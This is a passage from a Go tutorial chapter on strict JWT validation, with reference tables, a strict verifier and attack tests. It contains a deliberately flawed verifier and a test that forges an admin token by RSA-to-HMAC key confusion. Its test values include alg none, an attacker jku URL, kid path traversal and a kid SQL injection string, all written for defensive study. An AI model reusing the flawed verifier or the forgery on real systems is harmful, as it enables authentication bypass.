4 go 1.24 module (this chapter) -> golang-jwt v5 + own JWKS client (jwx v4 would force go 1.26)Real scenario: a Go API gateway plugin; a CLI that mints service tokens; a Go service consuming Passport tokens; a team upgrading from golang-jwt v4, where v5 "introduces major improvements to the validation of tokens".
What provides it: see the Go angle.
Fix / how to use it: always build the parser with WithValidMethods, WithIssuer, WithAudience, WithExpirationRequired, WithLeeway; check typ and the key's algorithm in the keyfunc; wrap it in one Verifier type that every service imports.
Mechanics
The validation order
The order matters for two reasons. Cheap, local checks (size, shape, header) run before anything that touches the network (a JWKS refresh) or a store (Redis), so garbage cannot make you call the IdP. And nothing in the payload is trusted, logged as identity or used for a lookup until the signature has passed; the only header value used before that is kid, and only as a map key.
Signing input, exactly
| Step | Bytes | Note |
|---|---|---|
| Header JSON | UTF-8 (RFC 8725 3.7: "MUST NOT use or admit the use of other Unicode encodings") | Key order irrelevant, bytes are what is signed |
| Encode | base64url, no padding (RFC 7515 section 2) | +/ become -_, = dropped |
| Signing input | ASCII(BASE64URL(header) "." BASE64URL(payload)) | The dot is part of the input |
| HS256 | HMAC-SHA-256(key, input), 32 bytes | Compare in constant time |
| RS256 / PS256 | RSASSA-PKCS1-v1_5 / RSASSA-PSS with SHA-256 | Signature length = modulus length |
| ES256 | ECDSA P-256 SHA-256, R || S as 64 raw bytes | Not DER; libraries convert (firebase signatureToDER) |
| EdDSA | Ed25519 over the input, 64 bytes | Deterministic |
| JWE AAD | ASCII(BASE64URL(protected header)) | Header tampering breaks the GCM tag |
Algorithm reference
alg | Family | JWA requirement | Key size | Signature bytes | Verify (measured) | Sign (measured) |
|---|---|---|---|---|---|---|
| HS256 | HMAC-SHA-256 | Required | 256-bit secret or larger (MUST) | 32 | 2.7 us | 2.1 us |
| HS384 / HS512 | HMAC-SHA-384/512 | Optional | 384 / 512 bits | 48 / 64 | not run | not run |
| RS256 | RSASSA-PKCS1-v1_5 SHA-256 | Recommended | 2048+ | 256 (2048-bit) | 23.7 us | 704.7 us |
| PS256 | RSASSA-PSS SHA-256 | Optional | 2048+ | 256 (2048-bit) | 23.8 us | not run |
| ES256 | ECDSA P-256 | Recommended+ | 256-bit curve | 64 | 37.8 us | 17.9 us |
| ES384 / ES512 | ECDSA P-384 / P-521 | Optional | 96 / 132 | not run | not run | |
| EdDSA | Ed25519 (RFC 8037) | (RFC 8037) | 256-bit | 64 | 28.7 us | 14.6 us |
| none | No signature | Optional | none | 0 | never accept | never emit |
JWE reference
| Header | Values | Notes |
|---|---|---|
alg (key management) | RSA-OAEP, RSA-OAEP-256, A128KW, A256KW, dir, ECDH-ES, ECDH-ES+A128KW, ECDH-ES+A256KW, RSA1_5 (avoid) | JWA marks RSA-OAEP and ECDH-ES "Recommended+" |
enc (content) | A128GCM, A256GCM ("Recommended"), A128CBC-HS256, A256CBC-HS512 | GCM: 96-bit IV, 128-bit tag |
epk, apu, apv | ECDH-ES parameters | Validate the ephemeral point (RFC 8725 3.4) |
cty | JWT for nested tokens | Then verify the inner JWS |
zip | DEF | Do not compress before encrypting (RFC 8725 3.6) |
Knobs
| Product / library | Knob | Meaning |
|---|---|---|
| golang-jwt v5 | jwt.WithValidMethods([]string{"EdDSA","ES256"}) | Algorithm allowlist |
| golang-jwt v5 | WithIssuer, WithAudience, WithLeeway, WithExpirationRequired, WithIssuedAt, WithStrictDecoding, WithTimeFunc | Claim and decoding rules |
This chapter's jwks.Client | DefaultTTL 10m, MinTTL 1m, MaxTTL 24h, RefreshFloor 30s, MaxStale 1h | JWKS cache behaviour |
This chapter's verify.Verifier | MaxBytes 8 KiB, MaxAge, AcceptTypes, Revocation | Size, age, typ, state |
| firebase/php-jwt | JWT::$leeway = 60 (static), new Key($pem, 'RS256'), JWK::parseKeySet($jwks, $defaultAlg) | Leeway, key binding |
| firebase/php-jwt | CachedKeySet($uri, $http, $factory, $cache, $expiresAfter, $rateLimit) | PSR-6 JWKS cache, 10 rps limit on misses |
| Laravel Passport | tokensExpireIn, refreshTokensExpireIn, personalAccessTokensExpireIn, tokensCan, defaultScopes, loadKeysFrom, PASSPORT_PRIVATE_KEY / PASSPORT_PUBLIC_KEY | Lifetimes, scopes, keys |
| Laravel Passport | php artisan passport:keys, passport:client --client, passport:purge --revoked --expired --hours=6 | Keys, clients, cleanup |
| Laravel Sanctum | expiration (minutes), sanctum:prune-expired --hours=24 | Opaque token expiry |
Envoy jwt_authn | providers.<name>.issuer, audiences, remote_jwks.http_uri, cache_duration, forward, forward_payload_header, claim_to_headers, from_headers | Edge validation |
Istio RequestAuthentication | jwtRules[].issuer, audiences, jwksUri, forwardOriginalToken, outputPayloadToHeader, outputClaimToHeaders, timeout (default 5s) | Mesh validation |
| Kong JWT plugin | config.claims_to_verify (exp, nbf) | HS256 / RS256 only |
| NGINX | large_client_header_buffers 4 8k | Big tokens need bigger buffers (or smaller tokens) |
| Redis | SET key 1 EXAT <exp> (since 6.2.0), MGET, INCR, hash tags {sub} | Denylist and versions |
Error messages you will actually see
| Source | Message (verbatim) | Meaning |
|---|---|---|
| golang-jwt v5 | token has invalid claims: token is expired | exp passed (beyond leeway) |
| golang-jwt v5 | token has invalid claims: token has invalid audience | aud lacks your id (or is missing) |
| golang-jwt v5 | token has invalid claims: token has invalid issuer | iss mismatch |
| golang-jwt v5 | token has invalid claims: token is not valid yet, token used before issued | nbf/iat in the future: clock skew |
| golang-jwt v5 | token signature is invalid: signing method none is invalid | alg not in WithValidMethods |
| golang-jwt v5 | token is malformed: could not base64 decode signature: illegal base64 data at input byte 86 | Padding or wrong alphabet |
| firebase/php-jwt | Algorithm not supported, Incorrect key for this algorithm, Signature verification failed, Wrong number of segments | Unknown alg, confusion attempt, bad signature, not a JWS |
| firebase/php-jwt | ExpiredException, BeforeValidException, SignatureInvalidException | Time and signature failures |
| league/oauth2-server (Passport) | Access token could not be verified, Access token has been revoked, Missing "Authorization" header | Signature/time failure, revoked row, no header |
| RFC 6750 response | WWW-Authenticate: Bearer realm="example", error="invalid_token" | 401 for any validation failure |
| RFC 6750 response | error="insufficient_scope" | 403, token valid but lacks scope |
| NGINX | 400 (Bad Request) when one header exceeds a large_client_header_buffers buffer | Token too big |
This chapter's Go verify | typ header is not at+jwt, alg header does not match the algorithm bound to the key, unknown kid, token revoked: jti denylisted | Typing, confusion, rotation, revocation |
Go
The Go module (academy/jwt-deep-dive, go 1.24) has one package per idea. Dependencies: github.com/golang-jwt/jwt/v5 v5.3.1, github.com/redis/go-redis/v9 v9.7.3 and github.com/alicebob/miniredis/v2 v2.34.0 (tests only), pinned so the module keeps the go 1.24 directive. lestrrat-go/jwx/v4 was not used because its README requires Go 1.26; the JWKS client and the small JWE are written against the standard library.
Before
One config value used for whatever algorithm the header names, no iss/aud/typ, the token read from the URL, and a role straight from the payload. The test proves the key-confusion forgery works against it:
// Command before is the JWT verifier many services start with. It compiles
// and "works" for honest clients; every comment marks a design flaw that
// the verify package fixes.
package main
import (
"crypto/rsa"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"github.com/golang-jwt/jwt/v5"
)
// One config value, "the JWT key", used for whatever the token asks for.
var (
jwtKeyPEM = []byte(os.Getenv("JWT_PUBLIC_KEY_PEM"))
rsaPublic *rsa.PublicKey
)
// keyFor lets the token header choose the algorithm (flaw 1: alg confusion).
// "Support HMAC too, in case we switch" hands the public PEM to HMAC.
func keyFor(t *jwt.Token) (any, error) {
switch t.Method.(type) {
case *jwt.SigningMethodRSA:
return rsaPublic, nil
case *jwt.SigningMethodHMAC:
return jwtKeyPEM, nil
}
return nil, fmt.Errorf("unsupported alg %v", t.Header["alg"])
}
// NaiveVerify checks the signature and the optional time claims only.
// Flaw 2: no iss, no aud, no typ, so any token from any issuer signed with
// this key is accepted by every service (ID tokens and other APIs' tokens).
// Flaw 3: a token without exp never expires.
func NaiveVerify(raw string) (jwt.MapClaims, error) {
claims := jwt.MapClaims{}
if _, err := jwt.ParseWithClaims(raw, claims, keyFor); err != nil {
return nil, err
}
return claims, nil
}
func handler(w http.ResponseWriter, r *http.Request) {
// Flaw 4: the token travels in the URL and ends up in access logs.
claims, err := NaiveVerify(r.URL.Query().Get("token"))
if err != nil {
http.Error(w, err.Error(), http.StatusUnauthorized) // flaw 5: leaks parser detail
return
}
// Flaw 6: authorization straight from an unverified-meaning claim.
if claims["role"] == "admin" {
_ = json.NewEncoder(w).Encode(map[string]any{"orders": "all"})
return
}
_ = json.NewEncoder(w).Encode(map[string]any{"orders": "mine"})
}
func main() {
if len(jwtKeyPEM) == 0 {
log.Println("JWT_PUBLIC_KEY_PEM not set; exiting")
return
}
k, err := jwt.ParseRSAPublicKeyFromPEM(jwtKeyPEM)
if err != nil {
log.Fatal(err)
}
rsaPublic = k
http.HandleFunc("/orders", handler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"testing"
"github.com/golang-jwt/jwt/v5"
)
// TestForgedTokenAccepted reproduces the 2015 key-confusion attack against
// NaiveVerify: the attacker only needs the public key.
func TestForgedTokenAccepted(t *testing.T) {
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
der, _ := x509.MarshalPKIXPublicKey(&priv.PublicKey)
jwtKeyPEM = pem.EncodeToMemory(&pem.Block{Type: "PUBLIC KEY", Bytes: der})
rsaPublic = &priv.PublicKey
forged := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{"sub": "attacker", "role": "admin"})
raw, err := forged.SignedString(jwtKeyPEM) // public PEM as HMAC secret
if err != nil {
t.Fatal(err)
}
c, err := NaiveVerify(raw)
if err != nil {
t.Fatalf("expected the naive verifier to be fooled, got %v", err)
}
if c["role"] != "admin" {
t.Fatal("forged claims not returned")
}
}After
Keys bound to exactly one algorithm (RFC 8725 section 3.1), with a refusal of short HMAC secrets:
// Package keys holds signing keys. Every key is bound to exactly one
// algorithm (RFC 8725 section 3.1): the verifier takes the algorithm from
// the key it trusts, never from the token header.
package keys
import (
"crypto"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rand"
"crypto/rsa"
"errors"
"fmt"
)
// Algorithms this module accepts. "none" and every HS* algorithm used
// with a public key are absent on purpose.
const (
EdDSA = "EdDSA"
ES256 = "ES256"
RS256 = "RS256"
PS256 = "PS256"
HS256 = "HS256"
)
// Key is one key with its one algorithm.
type Key struct {
ID string // the "kid" published in the JWKS and put in the header
Alg string // the only algorithm this key may be used with
Public crypto.PublicKey // nil for HMAC keys
Private crypto.Signer // nil on verifiers
Secret []byte // HMAC only
}
// ErrWeakSecret is returned for HMAC secrets shorter than the hash output.
var ErrWeakSecret = errors.New("keys: HS256 secret must be at least 32 random bytes")
// VerifyKey returns what golang-jwt expects for verification.
func (k Key) VerifyKey() any {
if k.Alg == HS256 {
return k.Secret
}
return k.Public
}
// SignKey returns what golang-jwt expects for signing.
func (k Key) SignKey() any {
if k.Alg == HS256 {
return k.Secret
}
return k.Private
}
// PublicOnly drops private material, for publishing or for verifiers.
func (k Key) PublicOnly() Key {
return Key{ID: k.ID, Alg: k.Alg, Public: k.Public}
}
// NewEdDSA generates an Ed25519 key (RFC 8037).
func NewEdDSA(kid string) (Key, error) {
pub, priv, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
return Key{}, err
}
return Key{ID: kid, Alg: EdDSA, Public: pub, Private: priv}, nil
}
// NewES256 generates a P-256 ECDSA key.
func NewES256(kid string) (Key, error) {
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return Key{}, err
}
return Key{ID: kid, Alg: ES256, Public: &priv.PublicKey, Private: priv}, nil
}
// NewRSA generates an RSA key for RS256 or PS256 (2048 bits minimum).
func NewRSA(kid, alg string, bits int) (Key, error) {
if alg != RS256 && alg != PS256 {
return Key{}, fmt.Errorf("keys: %q is not an RSA signature algorithm", alg)
}
if bits < 2048 {
return Key{}, fmt.Errorf("keys: RSA keys must be at least 2048 bits, got %d", bits)
}
priv, err := rsa.GenerateKey(rand.Reader, bits)
if err != nil {
return Key{}, err
}
return Key{ID: kid, Alg: alg, Public: &priv.PublicKey, Private: priv}, nil
}
// NewHS256 wraps a shared secret. Use it only when issuer and verifier are
// the same trust domain (one service, or a service and its own BFF).
func NewHS256(kid string, secret []byte) (Key, error) {
if len(secret) < 32 {
return Key{}, ErrWeakSecret
}
return Key{ID: kid, Alg: HS256, Secret: append([]byte(nil), secret...)}, nil
}
// RandomSecret returns n bytes from crypto/rand.
func RandomSecret(n int) []byte {
b := make([]byte, n)
if _, err := rand.Read(b); err != nil {
panic(err)
}
return b
}The issuer: RFC 9068 shape, typ: at+jwt, kid, 128-bit random jti, sid and ver for revocation:
// Package issuer mints RFC 9068 style JWT access tokens.
package issuer
import (
"crypto/rand"
"encoding/hex"
"errors"
"time"
"github.com/golang-jwt/jwt/v5"
"academy/jwt-deep-dive/keys"
)
// TypeAccessToken is the explicit type from RFC 9068 section 2.1.
const TypeAccessToken = "at+jwt"
// Claims is the access-token claim set used across this module.
type Claims struct {
jwt.RegisteredClaims
ClientID string `json:"client_id"`
Scope string `json:"scope,omitempty"`
SID string `json:"sid,omitempty"` // session id, for logout of one session
Ver int64 `json:"ver,omitempty"` // per-user token version
}
// Issuer signs tokens with one active key.
type Issuer struct {
Issuer string // exact "iss", for example https://id.example.com
Key keys.Key // the active signing key (with Private set)
TTL time.Duration // keep it short: 5 to 15 minutes for access tokens
Now func() time.Time
}
// Request is what the caller wants in the token.
type Request struct {
Subject string
Audience []string
ClientID string
Scope string
SID string
Version int64
}
// Issue returns a compact JWS.
func (i Issuer) Issue(r Request) (string, Claims, error) {
if i.Key.SignKey() == nil || i.Key.ID == "" {
return "", Claims{}, errors.New("issuer: active key with kid and private part required")
}
if len(r.Audience) == 0 {
return "", Claims{}, errors.New("issuer: audience required")
}
now := time.Now
if i.Now != nil {
now = i.Now
}
t := now().Truncate(time.Second)
c := Claims{
RegisteredClaims: jwt.RegisteredClaims{
Issuer: i.Issuer,
Subject: r.Subject,
Audience: r.Audience,
ExpiresAt: jwt.NewNumericDate(t.Add(i.TTL)),
NotBefore: jwt.NewNumericDate(t),
IssuedAt: jwt.NewNumericDate(t),
ID: newID(),
},
ClientID: r.ClientID,
Scope: r.Scope,
SID: r.SID,
Ver: r.Version,
}
tok := jwt.NewWithClaims(jwt.GetSigningMethod(i.Key.Alg), c)
tok.Header["typ"] = TypeAccessToken
tok.Header["kid"] = i.Key.ID
s, err := tok.SignedString(i.Key.SignKey())
return s, c, err
}
// newID returns 128 random bits as hex: unique enough for "jti".
func newID() string {
b := make([]byte, 16)
if _, err := rand.Read(b); err != nil {
panic(err)
}
return hex.EncodeToString(b)
}The strict verifier: allowlist, exact issuer, audience, required exp, leeway, strict base64url, typ and crit checks, kid only as a map key, key-bound algorithm, required sub/jti, optional maximum age and revocation:
// Package verify is a strict JWT access-token validator: RFC 7519 claims,
// RFC 8725 best current practice and the RFC 9068 access-token profile.
package verify
import (
"context"
"errors"
"fmt"
"strings"
"time"
"github.com/golang-jwt/jwt/v5"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/keys"
)
// KeySource resolves a "kid" to a trusted key (static map or JWKS client).
type KeySource interface {
Key(ctx context.Context, kid string) (keys.Key, error)
}
// Revocation is consulted after the signature and claims are valid.
type Revocation interface {
Check(ctx context.Context, c *issuer.Claims) error
}
// Static is a fixed key set, for tests and single-process systems.
type Static map[string]keys.Key
// Key implements KeySource.
func (s Static) Key(_ context.Context, kid string) (keys.Key, error) {
k, ok := s[kid]
if !ok {
return keys.Key{}, ErrUnknownKey
}
return k, nil
}
// Errors. All of them map to HTTP 401 with error="invalid_token" (RFC 6750).
var (
ErrTooLarge = errors.New("token larger than the configured limit")
ErrMissingKID = errors.New("missing kid header")
ErrUnknownKey = errors.New("unknown kid")
ErrWrongType = errors.New("typ header is not at+jwt")
ErrCritical = errors.New("crit header names extensions we do not understand")
ErrAlgMismatch = errors.New("alg header does not match the algorithm bound to the key")
ErrMissingClaim = errors.New("required claim missing")
ErrTooOld = errors.New("token older than the maximum age")
ErrRevoked = errors.New("token revoked")
ErrRevocationOff = errors.New("revocation store unavailable")
)
// Verifier holds one resource server's expectations.
type Verifier struct {
Issuer string // must equal "iss" exactly
Audience string // must be one of "aud"
Algorithms []string // allowlist, for example EdDSA and ES256
Leeway time.Duration // clock skew allowance, 30 to 60 seconds
MaxAge time.Duration // reject very old iat even if exp says otherwise (0 = off)
MaxBytes int // reject huge headers before parsing (default 8 KiB)
Keys KeySource
Revocation Revocation // nil = purely stateless
Now func() time.Time
// AcceptTypes overrides the accepted "typ" values. Leave empty for the
// RFC 9068 profile. A legacy issuer that sends typ "JWT" (Laravel
// Passport, many IdPs) needs {"JWT"} and a distinct audience instead.
AcceptTypes []string
}
// Verify returns the claims of a valid token or an error wrapping one of
// the sentinel errors above or a golang-jwt validation error.
func (v *Verifier) Verify(ctx context.Context, raw string) (*issuer.Claims, error) {
limit := v.MaxBytes
if limit == 0 {
limit = 8 << 10
}
if len(raw) > limit {
return nil, ErrTooLarge
}
now := time.Now
if v.Now != nil {
now = v.Now
}
p := jwt.NewParser(
jwt.WithValidMethods(v.Algorithms), // never trust "alg" alone
jwt.WithIssuer(v.Issuer),
jwt.WithAudience(v.Audience),
jwt.WithExpirationRequired(),
jwt.WithIssuedAt(),
jwt.WithLeeway(v.Leeway),
jwt.WithStrictDecoding(), // reject non-canonical base64url
jwt.WithTimeFunc(now),
)
claims := &issuer.Claims{}
_, err := p.ParseWithClaims(raw, claims, func(t *jwt.Token) (any, error) {
if err := v.checkHeader(t.Header); err != nil {
return nil, err
}
kid, _ := t.Header["kid"].(string)
if kid == "" {
return nil, ErrMissingKID
}
k, err := v.Keys.Key(ctx, kid)
if err != nil {
return nil, err
}
// One key, one algorithm: an RSA key can never become an HMAC secret.
if t.Method.Alg() != k.Alg {
return nil, ErrAlgMismatch
}
return k.VerifyKey(), nil
})
if err != nil {
return nil, err
}
if claims.Subject == "" || claims.ID == "" || claims.IssuedAt == nil {
return nil, fmt.Errorf("%w: sub, jti and iat are required", ErrMissingClaim)
}
if v.MaxAge > 0 && now().Sub(claims.IssuedAt.Time) > v.MaxAge+v.Leeway {
return nil, ErrTooOld
}
if v.Revocation != nil {
if err := v.Revocation.Check(ctx, claims); err != nil {
return nil, err
}
}
return claims, nil
}
func (v *Verifier) checkHeader(h map[string]any) error {
if _, ok := h["crit"]; ok {
return ErrCritical // RFC 7515 4.1.11: reject what we do not understand
}
// "jku", "x5u", "jwk" and "x5c" are never read: keys come only from
// v.Keys, so an attacker-supplied key or URL is ignored.
typ, _ := h["typ"].(string)
accept := v.AcceptTypes
if len(accept) == 0 {
accept = []string{issuer.TypeAccessToken, "application/" + issuer.TypeAccessToken}
}
for _, a := range accept {
if strings.EqualFold(typ, a) {
return nil
}
}
return ErrWrongType
}
// HasScope reports whether a space-delimited scope string contains s.
func HasScope(c *issuer.Claims, s string) bool {
for _, x := range strings.Fields(c.Scope) {
if x == s {
return true
}
}
return false
}Attack tests: none, RS256 to HS256 confusion, embedded jwk/jku, wrong audience, wrong issuer (one trailing slash), leeway on both sides, ID token as access token, kid path traversal and SQL injection, unknown crit, padding, oversized tokens, missing jti:
package verify_test
import (
"context"
"crypto/rsa"
"crypto/x509"
"encoding/base64"
"encoding/json"
"encoding/pem"
"errors"
"strings"
"testing"
"time"
"github.com/golang-jwt/jwt/v5"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/keys"
"academy/jwt-deep-dive/verify"
)
var t0 = time.Date(2026, 11, 26, 12, 0, 0, 0, time.UTC)
type fixture struct {
iss *issuer.Issuer
rsa keys.Key
v *verify.Verifier
}
func setup(t *testing.T) fixture {
t.Helper()
ed, err := keys.NewEdDSA("ed-2026-11")
if err != nil {
t.Fatal(err)
}
rs, err := keys.NewRSA("rsa-2026-11", keys.RS256, 2048)
if err != nil {
t.Fatal(err)
}
iss := &issuer.Issuer{Issuer: "https://id.example.com", Key: ed, TTL: 10 * time.Minute, Now: func() time.Time { return t0 }}
v := &verify.Verifier{
Issuer: "https://id.example.com",
Audience: "https://orders.example.com",
// HS256 is allowed for some other key on purpose: the key binding,
// not the allowlist alone, must stop RS256 -> HS256 confusion.
Algorithms: []string{keys.EdDSA, keys.RS256, keys.HS256},
Leeway: 30 * time.Second,
Keys: verify.Static{ed.ID: ed.PublicOnly(), rs.ID: rs.PublicOnly()},
Now: func() time.Time { return t0 },
}
return fixture{iss: iss, rsa: rs, v: v}
}
func req() issuer.Request {
return issuer.Request{Subject: "user-42", Audience: []string{"https://orders.example.com"}, ClientID: "web", Scope: "orders:read"}
}
func b64(v any) string {
b, _ := json.Marshal(v)
return base64.RawURLEncoding.EncodeToString(b)
}
func validPayload() map[string]any {
return map[string]any{
"iss": "https://id.example.com", "sub": "user-42", "aud": "https://orders.example.com",
"exp": t0.Add(5 * time.Minute).Unix(), "iat": t0.Unix(), "jti": "j1", "client_id": "web",
}
}
func TestValidToken(t *testing.T) {
f := setup(t)
tok, _, err := f.iss.Issue(req())
if err != nil {
t.Fatal(err)
}
c, err := f.v.Verify(context.Background(), tok)
if err != nil {
t.Fatalf("valid token rejected: %v", err)
}
if c.Subject != "user-42" || !verify.HasScope(c, "orders:read") {
t.Fatalf("claims = %+v", c)
}
}
func TestAlgNoneRejected(t *testing.T) {
f := setup(t)
raw := b64(map[string]any{"alg": "none", "typ": "at+jwt", "kid": "ed-2026-11"}) + "." + b64(validPayload()) + "."
if _, err := f.v.Verify(context.Background(), raw); err == nil {
t.Fatal("alg=none accepted")
}
}
func TestRSAToHMACKeyConfusionRejected(t *testing.T) {
f := setup(t)
der, _ := x509.MarshalPKIXPublicKey(f.rsa.Public.(*rsa.PublicKey))
pubPEM := pem.EncodeToMemory(&pem.Block{Type: "PUBLIC KEY", Bytes: der})
forged := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims(validPayload()))
forged.Header["kid"] = f.rsa.ID
forged.Header["typ"] = "at+jwt"
raw, err := forged.SignedString(pubPEM) // the public key used as an HMAC secret
if err != nil {
t.Fatal(err)
}
if _, err := f.v.Verify(context.Background(), raw); !errors.Is(err, verify.ErrAlgMismatch) {
t.Fatalf("want ErrAlgMismatch, got %v", err)
}
}
func TestEmbeddedJWKAndJKUIgnored(t *testing.T) {
f := setup(t)
attacker, _ := keys.NewEdDSA("ed-2026-11") // same kid as the real key
tok := jwt.NewWithClaims(jwt.SigningMethodEdDSA, jwt.MapClaims(validPayload()))
tok.Header["kid"] = attacker.ID
tok.Header["typ"] = "at+jwt"
tok.Header["jku"] = "https://attacker.example/jwks.json"
tok.Header["jwk"] = map[string]any{"kty": "OKP", "crv": "Ed25519", "x": "attacker"}
raw, _ := tok.SignedString(attacker.Private)
if _, err := f.v.Verify(context.Background(), raw); !errors.Is(err, jwt.ErrTokenSignatureInvalid) {
t.Fatalf("want signature invalid, got %v", err)
}
}
func TestClaimRules(t *testing.T) {
f := setup(t)
cases := []struct {
name string
mut func(r *issuer.Request, i *issuer.Issuer)
at time.Time
want error
}{
{"wrong audience (token for another API)", func(r *issuer.Request, _ *issuer.Issuer) { r.Audience = []string{"https://billing.example.com"} }, t0, jwt.ErrTokenInvalidAudience},
{"wrong issuer", func(_ *issuer.Request, i *issuer.Issuer) { i.Issuer = "https://id.example.com/" }, t0, jwt.ErrTokenInvalidIssuer},
{"expired beyond leeway", nil, t0.Add(10*time.Minute + 31*time.Second), jwt.ErrTokenExpired},
{"expired within leeway is accepted", nil, t0.Add(10*time.Minute + 29*time.Second), nil},
{"not yet valid (issuer clock ahead by 2 min)", nil, t0.Add(-2 * time.Minute), jwt.ErrTokenNotValidYet},
{"issuer clock ahead by 20 s is accepted", nil, t0.Add(-20 * time.Second), nil},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
r, i := req(), *f.iss
if c.mut != nil {
c.mut(&r, &i)
}
raw, _, err := i.Issue(r)
if err != nil {
t.Fatal(err)
}
v := *f.v
at := c.at
v.Now = func() time.Time { return at }
_, err = v.Verify(context.Background(), raw)
if c.want == nil && err != nil {
t.Fatalf("want ok, got %v", err)
}
if c.want != nil && !errors.Is(err, c.want) {
t.Fatalf("want %v, got %v", c.want, err)
}
})
}
}
func TestIDTokenIsNotAnAccessToken(t *testing.T) {
f := setup(t)
idt := jwt.NewWithClaims(jwt.SigningMethodEdDSA, jwt.MapClaims(validPayload()))
idt.Header["kid"] = f.iss.Key.ID
idt.Header["typ"] = "JWT" // what an OIDC ID token usually carries
raw, _ := idt.SignedString(f.iss.Key.Private)
if _, err := f.v.Verify(context.Background(), raw); !errors.Is(err, verify.ErrWrongType) {
t.Fatalf("want ErrWrongType, got %v", err)
}
}
func TestHeaderAttacks(t *testing.T) {
f := setup(t)
sign := func(h map[string]any) string {
tok := jwt.NewWithClaims(jwt.SigningMethodEdDSA, jwt.MapClaims(validPayload()))
for k, v := range h {
tok.Header[k] = v
}
s, _ := tok.SignedString(f.iss.Key.Private)
return s
}
cases := map[string]struct {
raw string
want error
}{
"kid path traversal": {sign(map[string]any{"typ": "at+jwt", "kid": "../../../../dev/null"}), verify.ErrUnknownKey},
"kid SQL injection": {sign(map[string]any{"typ": "at+jwt", "kid": "x' UNION SELECT 'secret"}), verify.ErrUnknownKey},
"missing kid": {sign(map[string]any{"typ": "at+jwt"}), verify.ErrMissingKID},
"unknown crit": {sign(map[string]any{"typ": "at+jwt", "kid": f.iss.Key.ID, "crit": []string{"exp-ext"}}), verify.ErrCritical},
"alg outside the allowlist (ES256)": {func() string {
es, _ := keys.NewES256("x")
tok := jwt.NewWithClaims(jwt.SigningMethodES256, jwt.MapClaims(validPayload()))
tok.Header["kid"], tok.Header["typ"] = f.iss.Key.ID, "at+jwt"
s, _ := tok.SignedString(es.Private)
return s
}(), jwt.ErrTokenSignatureInvalid},
}
for name, c := range cases {
t.Run(name, func(t *testing.T) {
if _, err := f.v.Verify(context.Background(), c.raw); !errors.Is(err, c.want) {
t.Fatalf("want %v, got %v", c.want, err)
}
})
}
}
func TestMalformedAndOversized(t *testing.T) {
f := setup(t)
good, _, _ := f.iss.Issue(req())
for name, raw := range map[string]string{
"padded signature": good + "==",
"two parts": good[:strings.LastIndex(good, ".")],
"oversized": good + strings.Repeat("A", 9000),
} {
if _, err := f.v.Verify(context.Background(), raw); err == nil {
t.Errorf("%s: accepted", name)
}
}
}
func TestMissingJTIRejected(t *testing.T) {
f := setup(t)
p := validPayload()
delete(p, "jti")
tok := jwt.NewWithClaims(jwt.SigningMethodEdDSA, jwt.MapClaims(p))
tok.Header["kid"], tok.Header["typ"] = f.iss.Key.ID, "at+jwt"
raw, _ := tok.SignedString(f.iss.Key.Private)
if _, err := f.v.Verify(context.Background(), raw); !errors.Is(err, verify.ErrMissingClaim) {
t.Fatalf("want ErrMissingClaim, got %v", err)
}
}Benchmarks (the numbers in Mechanics):
package verify_test
import (
"context"
"testing"
"time"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/keys"
"academy/jwt-deep-dive/verify"
)
// Per-request verification cost by algorithm (signature + claim checks).
// Run: go test -bench . -benchmem ./verify/
func benchKey(b *testing.B, k keys.Key) {
iss := issuer.Issuer{Issuer: "https://id.example.com", Key: k, TTL: time.Hour}
raw, _, err := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"api"}, Scope: "orders:read"})
if err != nil {
b.Fatal(err)
}
v := &verify.Verifier{Issuer: iss.Issuer, Audience: "api", Algorithms: []string{k.Alg},
Keys: verify.Static{k.ID: k.PublicOnly()}}
if k.Alg == keys.HS256 {
v.Keys = verify.Static{k.ID: k}
}
ctx := context.Background()
b.ReportMetric(float64(len(raw)), "token-bytes")
b.ResetTimer()
for range b.N {
if _, err := v.Verify(ctx, raw); err != nil {
b.Fatal(err)
}
}
}
func BenchmarkVerifyHS256(b *testing.B) {
k, _ := keys.NewHS256("hs", keys.RandomSecret(32))
benchKey(b, k)
}
func BenchmarkVerifyRS256(b *testing.B) {
k, _ := keys.NewRSA("rs", keys.RS256, 2048)
benchKey(b, k)
}
func BenchmarkVerifyPS256(b *testing.B) {
k, _ := keys.NewRSA("ps", keys.PS256, 2048)
benchKey(b, k)
}
func BenchmarkVerifyES256(b *testing.B) {
k, _ := keys.NewES256("es")
benchKey(b, k)
}
func BenchmarkVerifyEdDSA(b *testing.B) {
k, _ := keys.NewEdDSA("ed")
benchKey(b, k)
}
// Signing cost matters on the issuer side (token endpoint, token exchange).
func BenchmarkSign(b *testing.B) {
hs, _ := keys.NewHS256("hs", keys.RandomSecret(32))
rs, _ := keys.NewRSA("rs", keys.RS256, 2048)
es, _ := keys.NewES256("es")
ed, _ := keys.NewEdDSA("ed")
for _, k := range []keys.Key{hs, rs, es, ed} {
b.Run(k.Alg, func(b *testing.B) {
iss := issuer.Issuer{Issuer: "https://id.example.com", Key: k, TTL: time.Hour}
r := issuer.Request{Subject: "u1", Audience: []string{"api"}}
for range b.N {
if _, _, err := iss.Issue(r); err != nil {
b.Fatal(err)
}
}
})
}
}JWK and JWKS: export public keys, parse with alg required, P-256 point validation through crypto/ecdh, RSA below 2048 bits rejected, symmetric keys never published:
// Package jwks converts keys to and from RFC 7517 JWK Sets and implements a
// caching JWKS client with rotation support and OIDC discovery.
package jwks
import (
"crypto/ecdh"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rsa"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"math/big"
"academy/jwt-deep-dive/keys"
)
// JWK is the subset of RFC 7517/7518/8037 members this module uses.
type JWK struct {
Kty string `json:"kty"`
Kid string `json:"kid"`
Use string `json:"use,omitempty"`
